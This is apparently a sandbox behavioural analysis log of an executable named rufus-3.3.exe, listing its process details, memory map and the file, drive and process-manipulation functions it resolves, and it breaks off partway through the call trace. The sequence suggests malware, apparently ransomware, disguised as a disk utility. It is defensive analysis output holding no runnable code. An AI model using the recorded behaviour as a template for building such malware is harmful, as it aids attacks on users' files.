# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Jan 8 2019 16:19:15 # Log Creation Date: 30.01.2019 12:49:31.496 Process: id = "1" image_name = "rufus-3.3.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rufus-3.3.exe" page_root = "0x31f1e000" os_pid = "0xa10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rufus-3.3.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 6 start_va = 0xb0000 end_va = 0xccfff entry_point = 0xb0000 region_type = mapped_file name = "rufus-3.3.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rufus-3.3.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rufus-3.3.exe") Region: id = 7 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 9 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10 start_va = 0x77a40000 end_va = 0x77bbffff entry_point = 0x77a40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 11 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 12 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 13 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 14 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 15 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 16 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 17 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 150 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 151 start_va = 0x74f80000 end_va = 0x74f87fff entry_point = 0x74f80000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 152 start_va = 0x74f90000 end_va = 0x74febfff entry_point = 0x74f90000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 153 start_va = 0x74ff0000 end_va = 0x7502efff entry_point = 0x74ff0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 154 start_va = 0x200000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 155 start_va = 0x773b0000 end_va = 0x774bffff entry_point = 0x773b0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 156 start_va = 0x775f0000 end_va = 0x77635fff entry_point = 0x775f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 157 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x0 region_type = private name = "private_0x0000000077640000" filename = "" Region: id = 158 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x0 region_type = private name = "private_0x0000000077740000" filename = "" Region: id = 159 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 160 start_va = 0x300000 end_va = 0x366fff entry_point = 0x300000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 161 start_va = 0x75470000 end_va = 0x75481fff entry_point = 0x75470000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 162 start_va = 0x75590000 end_va = 0x7559bfff entry_point = 0x75590000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 163 start_va = 0x755a0000 end_va = 0x755fffff entry_point = 0x755a0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 164 start_va = 0x75660000 end_va = 0x7570bfff entry_point = 0x75660000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 165 start_va = 0x75710000 end_va = 0x75719fff entry_point = 0x75710000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 166 start_va = 0x75a60000 end_va = 0x75a78fff entry_point = 0x75a60000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 167 start_va = 0x75a80000 end_va = 0x75b0ffff entry_point = 0x75a80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 168 start_va = 0x75b10000 end_va = 0x75bfffff entry_point = 0x75b10000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 169 start_va = 0x75cc0000 end_va = 0x76909fff entry_point = 0x75cc0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 170 start_va = 0x76f90000 end_va = 0x7702ffff entry_point = 0x76f90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 171 start_va = 0x771d0000 end_va = 0x772cffff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 172 start_va = 0x77350000 end_va = 0x773a6fff entry_point = 0x77350000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 173 start_va = 0x77550000 end_va = 0x775ecfff entry_point = 0x77550000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 174 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 175 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 176 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 177 start_va = 0x670000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 178 start_va = 0x76b30000 end_va = 0x76bfbfff entry_point = 0x76b30000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 179 start_va = 0x76c00000 end_va = 0x76c5ffff entry_point = 0x76c00000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 180 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 181 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 182 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 183 start_va = 0x810000 end_va = 0x1c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 184 start_va = 0x70000 end_va = 0x7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 185 start_va = 0x80000 end_va = 0x86fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 186 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 187 start_va = 0x1c10000 end_va = 0x1edefff entry_point = 0x1c10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 188 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 189 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 190 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 191 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 192 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 193 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 194 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 195 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 196 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 197 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 198 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 199 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 200 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 201 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 202 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 203 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 204 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 205 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 206 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 207 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 208 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 209 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 210 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 211 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 212 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 213 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 214 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 228 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 229 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 230 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 231 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 232 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 233 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 234 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 235 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 236 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 237 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 238 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 239 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 240 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 241 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 242 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 243 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 244 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 245 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 246 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 247 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 248 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 249 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 250 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 251 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 252 start_va = 0x75450000 end_va = 0x75465fff entry_point = 0x75450000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 256 start_va = 0x70000 end_va = 0xabfff entry_point = 0x70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 257 start_va = 0x70000 end_va = 0xabfff entry_point = 0x70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 258 start_va = 0x70000 end_va = 0xabfff entry_point = 0x70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 259 start_va = 0x70000 end_va = 0xabfff entry_point = 0x70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 260 start_va = 0x70000 end_va = 0xabfff entry_point = 0x70000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 261 start_va = 0x75410000 end_va = 0x7544afff entry_point = 0x75410000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 262 start_va = 0x75720000 end_va = 0x7583cfff entry_point = 0x75720000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 263 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 264 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 265 start_va = 0x1ee0000 end_va = 0x22d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ee0000" filename = "" Region: id = 266 start_va = 0x22e0000 end_va = 0x231ffff entry_point = 0x0 region_type = private name = "private_0x00000000022e0000" filename = "" Region: id = 267 start_va = 0x2320000 end_va = 0x235ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 268 start_va = 0x23a0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 269 start_va = 0x2420000 end_va = 0x251ffff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 270 start_va = 0x2580000 end_va = 0x25bffff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 271 start_va = 0x2600000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 272 start_va = 0x27a0000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 273 start_va = 0x27e0000 end_va = 0x28dffff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 274 start_va = 0x29c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 275 start_va = 0x2ac0000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 276 start_va = 0x75400000 end_va = 0x75407fff entry_point = 0x75400000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 277 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 278 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 279 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 280 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 281 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 305 start_va = 0x370000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 306 start_va = 0x2c00000 end_va = 0x2cfffff entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 307 start_va = 0x753d0000 end_va = 0x753f8fff entry_point = 0x753d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 308 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 317 start_va = 0x753b0000 end_va = 0x753c3fff entry_point = 0x753b0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 329 start_va = 0x75390000 end_va = 0x753a6fff entry_point = 0x75390000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 330 start_va = 0x75380000 end_va = 0x75387fff entry_point = 0x75380000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 555 start_va = 0x2520000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 556 start_va = 0x2dc0000 end_va = 0x2ebffff entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 557 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 558 start_va = 0x75370000 end_va = 0x7537efff entry_point = 0x75370000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 561 start_va = 0x2d00000 end_va = 0x2d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 562 start_va = 0x2ec0000 end_va = 0x2fbffff entry_point = 0x0 region_type = private name = "private_0x0000000002ec0000" filename = "" Region: id = 563 start_va = 0x75360000 end_va = 0x7536afff entry_point = 0x75360000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 564 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 628 start_va = 0x75350000 end_va = 0x75358fff entry_point = 0x75350000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 629 start_va = 0x75340000 end_va = 0x7534cfff entry_point = 0x75340000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 630 start_va = 0x2fc0000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 631 start_va = 0x28e0000 end_va = 0x299ffff entry_point = 0x28e0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 632 start_va = 0x2b10000 end_va = 0x2b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b10000" filename = "" Region: id = 633 start_va = 0x2b90000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 634 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Thread: id = 1 os_tid = 0xa14 [0071.831] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x773b0000 [0071.832] GetProcAddress (hModule=0x773b0000, lpProcName="ReadFile") returned 0x773c3ed3 [0071.832] GetProcAddress (hModule=0x773b0000, lpProcName="GetLogicalDrives") returned 0x773c5371 [0071.832] GetProcAddress (hModule=0x773b0000, lpProcName="FindFirstFileW") returned 0x773c4435 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="FindNextFileW") returned 0x773c54ee [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="lstrlenW") returned 0x773c1700 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="WriteFile") returned 0x773c1282 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="ExpandEnvironmentStringsW") returned 0x773c4173 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="TerminateProcess") returned 0x773dd802 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="GetUserDefaultLangID") returned 0x773dd5fd [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="GetModuleFileNameW") returned 0x773c4950 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="WaitForMultipleObjects") returned 0x773c4220 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="FindClose") returned 0x773c4442 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="HeapAlloc") returned 0x77a6e026 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="OpenProcess") returned 0x773c1986 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="CreateToolhelp32Snapshot") returned 0x773e735f [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="GetLastError") returned 0x773c11c0 [0071.833] GetProcAddress (hModule=0x773b0000, lpProcName="Process32NextW") returned 0x773e896c [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="lstrcatW") returned 0x773e828e [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="HeapReAlloc") returned 0x77a81f6e [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="GetSystemInfo") returned 0x773c49ca [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="CreateThread") returned 0x773c34d5 [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="SetFilePointerEx") returned 0x773dc807 [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="GetFileSize") returned 0x773c196e [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="ExitProcess") returned 0x773c7a10 [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="CreateProcessW") returned 0x773c103d [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="lstrcmpiW") returned 0x773dd5cd [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="lstrcmpW") returned 0x773c5929 [0071.834] GetProcAddress (hModule=0x773b0000, lpProcName="MoveFileW") returned 0x773d9af0 [0071.834] 